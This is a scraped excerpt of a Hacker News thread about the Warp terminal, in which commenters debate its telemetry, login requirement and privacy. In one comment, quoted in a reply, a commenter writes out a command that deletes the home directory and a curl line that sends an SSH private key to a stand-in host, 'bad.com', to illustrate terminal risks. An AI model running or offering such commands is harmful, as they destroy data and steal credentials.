Live data from Hacker News

Show HN: Warp, a Rust-based terminal

warp.dev

541–550 of 757 posts

Re: Show HN: Warp, a Rust-based terminal

#541
post #366

Earlier quoted context omitted.

Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.

> Absolutely nothing works better, it's the best by a ridiculously large margin. Then why is the telemetry-encrusted modern Windows a usability fail, even compared to past versions of Windows which relied on extensive in-house user testing?

Because telemetry is used to maximize profit and not to maximize value for users.

Re: Show HN: Warp, a Rust-based terminal

#542
post #366

Earlier quoted context omitted.

If they start out evil, then don't expect them to change.

Wanting to collect usage information and errors isn't evil-by-default. It's incomparably useful for troubleshooting and improving. Absolutely nothing works better, it's the best by a ridiculously large margin. But yeah, terminals are very sensitive environments, opt-in should be a default even at launch.

Ethical telemetry really in my view should:

- be opt-in

- provide an easy to read & access log which can be reviewed by the user at any point

- never collect unnecessary information 'just because' it might be useful in the future

- should provide a very good detailed analysis of any claims to anonymity

If something doesn't even fulfil the first criterion, it's probably violating all the others too.

Re: Show HN: Warp, a Rust-based terminal

#543
post #321

Earlier quoted context omitted.

That's a ton of data being collected. I would rather much have this submitted during a crash, rather than opt-in/opt-out. I'd not want to use a terminal that has data collection that crosses the internet every time I use it.

Totally understand if you don't feel comfortable using it! The reason we don't submit this only during a crash, is because there are a lot of other things we want to know about users like: Which features are they using? Are they sticking to warp as their daily driver? How much time do they spend in the app? We do want to make the telemetry opt-in after Warp is out of beta.

How are you checking if they stick to warp as daily driver? Are you checking for other shells open?

Re: Show HN: Warp, a Rust-based terminal

#545
post #358

Earlier quoted context omitted.

(Not affiliated with Warp but care about this particular thing) Shell scripts implies, well, a particular shell. If everyone is on similar OSes, maybe that works for you, but as a Windows user, "pile of bash scripts" might as well be "doesn't work for you." I use a terminal for my daily work, but don't have bash installed on my machine. That said, I haven't tried Warp yet specifically because it's Mac-only right now.…

Nix(OS) already solves this problem.

I cannot use Nix on my platform, and I’m not changing OSes.

Re: Show HN: Warp, a Rust-based terminal

#547
post #55

Earlier quoted context omitted.

Maybe not but I'd trust Microsoft has a decent security and privacy team working on this more than a startup. What if they're logging the wrong stuff and my data is leaked?

You mean like when Microsoft started uploading all handwriting & voice recognition inputs including passwords? History has shown that telemetry is effectively spyware until proven otherwise, no matter who does it.

I think you could've had a full stop before 'until proven otherwise'.

Re: Show HN: Warp, a Rust-based terminal

#548
post #20

Wanted to give it a shot but got disappointed when I launched it and the following happened: - Outgoing request to googleapis.com - Outgoing request to segment.io - Outgoing request to sentry.io - Requires sign up (only via Github, mind you) I understand the first request is probably to get some dynamic configuration, even though I'd rather my terminal ship with static configuration. But then you have segment and sen…

There's no reason for a terminal emulator to connect to the internet or collect telemetry opt-in or not. None whatsoever.

Re: Show HN: Warp, a Rust-based terminal

#549
post #374
post #99

Earlier quoted context omitted.

Also: security? I expect my terminal to be a much more secure environment than my web browser. When an application starts communicating with the internet, I have no choice but to treat it with the same level of scrutiny as my browser. Even making telemetry opt-in means that it has the capability to send information to the internet that I don’t know about, which means that I have to treat it like an application that c…

> I expect my terminal to be a much more secure environment than my web browser. Wat? Your terminal is 1000x less secure than your browser. Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com ` and that just 2 of 1000s. JS on your browser can do none of those. Maybe you meant to say you want apps running from the terminal to not phone home but nothing in the terminal…

> Your terminal can do `rm -rf ~/`. your terminal can run `curl -F 'data=@~/.ssh/id.rsa' https://bad.com` and that just 2 of 1000s.

You'll be warned if you do the first, and plenty of people are phished via browsers.

Re: Show HN: Warp, a Rust-based terminal

#550

Earlier quoted context omitted.

I remember an iOS email client many years ago that required a Dropbox login for some reason. It made no sense that an email client would require me to log in to a cloud file storage/syncing service - in my mind these two things are completely unrelated. That email client ended up disappearing. I expect that a terminal program which requires a login to a completely unrelated service will end up meeting the same fate a…

> an iOS email client many years ago that required a Dropbox login for some reason. IIRC, that was Mailbox. Dropbox bought them a month after launch and then, sadly, killed it off two years later.[^1] [1]: https://www.theverge.com/2015/12/8/9873268/why-dropbox-mailb...

Yes, I believe that's the one. Thanks!

I couldn't remember it, but with a generic name like Mailbox that's not a surprise.

Post reply on HN